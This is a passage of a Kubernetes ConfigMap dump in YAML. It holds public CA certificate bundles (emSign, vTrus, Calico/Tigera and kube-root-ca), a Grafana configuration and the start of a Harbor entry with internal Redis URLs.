      dmX2Os+PYhcZewoozRrSgx4hxyy/vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJip
      NiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXiZo1jDiVN1Rmy5nk3pyKdVDEC
      AwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/QkqiMAwGA1UdEwQF
      MAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
      ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGB
      uvl2ICO1J2B01GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6Yl
      PwZpVnPDimZI+ymBV3QGypzqKOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkP
      JXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdVxrsStZf0X4OFunHB2WyBEXYKCrC/
      gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEPNXubrjlpC2JgQCA2
      j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+rGNm6
      5ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUB
      o2M3IUxExJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS
      /jQ6fbjpKdx2qcgw+BRxgMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2z
      Gp1iro2C6pSe3VkQw63d4k3jMdXH7OjysP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTE
      W9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmODBCEIZ43ygknQW/2xzQ+D
      hNQ+IIX3Sj0rnP0qCglN6oH4EZw=
      -----END CERTIFICATE-----

      # emSign ECC Root CA - C3
      -----BEGIN CERTIFICATE-----
      MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQG
      EwJVUzETMBEGA1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMx
      IDAeBgNVBAMTF2VtU2lnbiBFQ0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAw
      MFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
      biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQDExdlbVNpZ24gRUND
      IFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd6bci
      MK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4Ojavti
      sIGJAnB9SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0O
      BBYEFPtaSNCAIEDyqOkAB2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMB
      Af8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQC02C8Cif22TGK6Q04ThHK1rt0c
      3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwUZOR8loMRnLDRWmFLpg9J
      0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
      -----END CERTIFICATE-----

      # emSign ECC Root CA - G3
      -----BEGIN CERTIFICATE-----
      MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQG
      EwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNo
      bm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
      RzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4MTgzMDAwWjBrMQswCQYDVQQGEwJJ
      TjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9s
      b2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMw
      djAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0
      WXTsuwYc58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xyS
      fvalY8L1X44uT6EYGQIrMgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuB
      zhccLikenEhjQjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggq
      hkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+DCBeQyh+KTOgNG3qxrdWB
      CUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7jHvrZQnD
      +JbNR6iC8hZVdyR+EhCVBCyj
      -----END CERTIFICATE-----

      # emSign Root CA - C1
      -----BEGIN CERTIFICATE-----
      MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkG
      A1UEBhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEg
      SW5jMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAw
      MFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
      biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNpZ24gUm9v
      dCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+upufGZ
      BczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZ
      HdPIWoU/Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH
      3DspVpNqs8FqOp099cGXOFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvH
      GPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4VI5b2P/AgNBbeCsbEBEV5f6f9vtKppa+c
      xSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleoomslMuoaJuvimUnzYnu3Yy1
      aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+XJGFehiq
      TbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
      BQADggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87
      /kOXSTKZEhVb3xEp/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4
      kqNPEjE2NuLe/gDEo2APJ62gsIq1NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrG
      YQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9wC68AivTxEDkigcxHpvOJpkT
      +xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQBmIMMMAVSKeo
      WXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
      -----END CERTIFICATE-----

      # emSign Root CA - G1
      -----BEGIN CERTIFICATE-----
      MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYD
      VQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBU
      ZWNobm9sb2dpZXMgTGltaXRlZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBH
      MTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgxODMwMDBaMGcxCzAJBgNVBAYTAklO
      MRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVkaHJhIFRlY2hub2xv
      Z2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIBIjAN
      BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQz
      f2N4aLTNLnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO
      8oG0x5ZOrRkVUkr+PHB1cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aq
      d7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHWDV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhM
      tTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ6DqS0hdW5TUaQBw+jSzt
      Od9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrHhQIDAQAB
      o0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQD
      AgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31x
      PaOfG1vR2vjTnGs2vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjM
      wiI/aTvFthUvozXGaCocV685743QNcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6d
      GNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q+Mri/Tm3R7nrft8EI6/6nAYH
      6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeihU80Bv2noWgby
      RQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
      iN66zB+Afko=
      -----END CERTIFICATE-----

      # vTrus ECC Root CA
      -----BEGIN CERTIFICATE-----
      MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMw
      RzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAY
      BgNVBAMTEXZUcnVzIEVDQyBSb290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDcz
      MTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28u
      LEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYwEAYHKoZIzj0CAQYF
      K4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+cToL0
      v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUd
      e4BdS49nTPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYD
      VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIw
      V53dVvHH4+m4SVBrm2nDb+zDfSXkV5UTQJtS0zvzQBm8JsctBp61ezaf9SXUY2sA
      AjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQLYgmRWAD5Tfs0aNoJrSEG
      GJTO
      -----END CERTIFICATE-----

      # vTrus Root CA
      -----BEGIN CERTIFICATE-----
      MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQEL
      BQAwQzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4x
      FjAUBgNVBAMTDXZUcnVzIFJvb3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMx
      MDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoGA1UEChMTaVRydXNDaGluYSBDby4s
      THRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQAD
      ggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZotsSKYc
      IrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykU
      AyyNJJrIZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+
      GrPSbcKvdmaVayqwlHeFXgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z9
      8Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KAYPxMvDVTAWqXcoKv8R1w6Jz1717CbMdH
      flqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70kLJrxLT5ZOrpGgrIDajt
      J8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2AXPKBlim
      0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZN
      pGvu/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQ
      UqqzApVg+QxMaPnu1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHW
      OXSuTEGC2/KmSNGzm/MzqvOmwMVO9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMB
      AAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYgscasGrz2iTAPBgNVHRMBAf8E
      BTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAKbqSSaet
      8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
      nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1j
      bhd47F18iMjrjld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvM
      Kar5CKXiNxTKsbhm7xqC5PD48acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIiv
      TDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJnxDHO2zTlJQNgJXtxmOTAGytfdELS
      S8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554WgicEFOwE30z9J4nfr
      I8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4sEb9
      b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNB
      UvupLnKWnyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1P
      Ti07NEPhmg4NpGaXutIcSkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929ven
      sBxXVsFy6K2ir40zSbofitzmdHxghm+Hl3s=
      -----END CERTIFICATE-----
    tigera-ca-bundle.crt: |+
      # certificate name: tigera-operator/tigera-ca-private
      -----BEGIN CERTIFICATE-----
      MIIDKTCCAhGgAwIBAgIIBAk1JUyS6tYwDQYJKoZIhvcNAQELBQAwITEfMB0GA1UE
      AxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjAgFw0yNTEwMTkxNjEyMjFaGA8yMTI1
      MDkyNTE2MTIyMlowITEfMB0GA1UEAxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjCC
      ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAIidMczdbm47Smi5VoEILeB2
      BEwKSnv/sO1yTySy4O3P8Gi5X+jcX7rucIYcpToUn96lRsyR6rgF9+bLQOeZ7rTu
      3ItVYRkN5UIA0yDJn9hDuvc32YXvdKYuNZzVRqa0zRz/9pJYQ9/2cl90HwAdvot8
      AVhfxPPaOcgiPk3hDalKItnqkihH7PYu6rm714KPywGePh9e7p1+GRadlpZOCuG+
      GIFn07TOAbTCnEOH0NH24CUHRiYcyKYUFP2vX21TGw0kW1b6PlXd1L+yFK2+/1Pm
      d4kbA2MHePDbzNfIRVPdiIj3riDb4vG+FUkehslwI+eIY/lz5t1JHN7Q6AwBMtEC
      AwEAAaNjMGEwDgYDVR0PAQH/BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
      BBYEFLcK5ltAtfIqr6c+vcqR6qhlyGSjMB8GA1UdIwQYMBaAFLcK5ltAtfIqr6c+
      vcqR6qhlyGSjMA0GCSqGSIb3DQEBCwUAA4IBAQBm+sHjrYAo+9NwH214BN3zqirA
      ZZw8TF260ls81zkx3jBFCMvlXoTthFhE5TA3HNR7sFy0lbTojd6l6MQXpzFZ80IM
      C0+rM5CC6bVjbK/+iAqVrzh8TGVl5Rl2aIPHJ/3jsp77CIEnrBHu7kDlmUYUlM6N
      oxc7ns0Y4mXwMkNylERMEmPyR4hyk35hp5MtG1+3A4UtWHefoWDafqkXyPqDn4zI
      934T0MBAwJEZCVomkdNJ6JCVpVj0VMcDwqe4fpgaAwSMjpa2EXwuQpHdB0ZQ+tBW
      z0lFN8dcVOwLpdG7OTQ1rWCmP+o3LBypCIF2gxP8dl2vG4voL7IkX+fZuzee
      -----END CERTIFICATE-----


  kind: ConfigMap
  metadata:
    annotations:
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: tigera-ca-bundle
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821076"
    uid: 0f49d1e8-cd6d-4edd-ada7-10d2a00fe094
- apiVersion: v1
  data:
    ca-bundle.crt: ""
    tigera-ca-bundle.crt: |+
      # certificate name: tigera-operator/tigera-ca-private
      -----BEGIN CERTIFICATE-----
      MIIDKTCCAhGgAwIBAgIIBAk1JUyS6tYwDQYJKoZIhvcNAQELBQAwITEfMB0GA1UE
      AxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjAgFw0yNTEwMTkxNjEyMjFaGA8yMTI1
      MDkyNTE2MTIyMlowITEfMB0GA1UEAxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjCC
      ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAIidMczdbm47Smi5VoEILeB2
      BEwKSnv/sO1yTySy4O3P8Gi5X+jcX7rucIYcpToUn96lRsyR6rgF9+bLQOeZ7rTu
      3ItVYRkN5UIA0yDJn9hDuvc32YXvdKYuNZzVRqa0zRz/9pJYQ9/2cl90HwAdvot8
      AVhfxPPaOcgiPk3hDalKItnqkihH7PYu6rm714KPywGePh9e7p1+GRadlpZOCuG+
      GIFn07TOAbTCnEOH0NH24CUHRiYcyKYUFP2vX21TGw0kW1b6PlXd1L+yFK2+/1Pm
      d4kbA2MHePDbzNfIRVPdiIj3riDb4vG+FUkehslwI+eIY/lz5t1JHN7Q6AwBMtEC
      AwEAAaNjMGEwDgYDVR0PAQH/BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
      BBYEFLcK5ltAtfIqr6c+vcqR6qhlyGSjMB8GA1UdIwQYMBaAFLcK5ltAtfIqr6c+
      vcqR6qhlyGSjMA0GCSqGSIb3DQEBCwUAA4IBAQBm+sHjrYAo+9NwH214BN3zqirA
      ZZw8TF260ls81zkx3jBFCMvlXoTthFhE5TA3HNR7sFy0lbTojd6l6MQXpzFZ80IM
      C0+rM5CC6bVjbK/+iAqVrzh8TGVl5Rl2aIPHJ/3jsp77CIEnrBHu7kDlmUYUlM6N
      oxc7ns0Y4mXwMkNylERMEmPyR4hyk35hp5MtG1+3A4UtWHefoWDafqkXyPqDn4zI
      934T0MBAwJEZCVomkdNJ6JCVpVj0VMcDwqe4fpgaAwSMjpa2EXwuQpHdB0ZQ+tBW
      z0lFN8dcVOwLpdG7OTQ1rWCmP+o3LBypCIF2gxP8dl2vG4voL7IkX+fZuzee
      -----END CERTIFICATE-----


  kind: ConfigMap
  metadata:
    annotations:
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:26:56Z"
    name: whisker-ca-bundle
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825366"
    uid: 6e2999c5-8be4-4085-96f6-dcaea4226485
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-22T13:18:22Z"
    name: kube-root-ca.crt
    namespace: cert-manager
    resourceVersion: "220037"
    uid: 6cf11501-5bd7-432a-9022-eb583ebfb7d0
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: kube-root-ca.crt
    namespace: default
    resourceVersion: "371"
    uid: 9957bf20-8c46-42e8-98ee-075606f96346
- apiVersion: v1
  data:
    grafana.ini: |
      [analytics]
      check_for_updates = true
      [grafana_net]
      url = https://grafana.net
      [log]
      mode = console
      [paths]
      data = /var/lib/grafana/
      logs = /var/log/grafana
      plugins = /var/lib/grafana/plugins
      provisioning = /etc/grafana/provisioning
      [server]
      domain = ''
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "78693"
    uid: 758d4fac-5517-444d-812e-6153b8ef9589
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T20:37:12Z"
    name: kube-root-ca.crt
    namespace: grafana
    resourceVersion: "78688"
    uid: c492c81c-5d55-433e-b364-daf9046192f3
- apiVersion: v1
  data:
    _REDIS_URL_CORE: redis://harbor-redis:6379/0?idle_timeout_seconds=30
    _REDIS_URL_REG: redis://harbor-redis:6379/2?idle_timeout_seconds=30
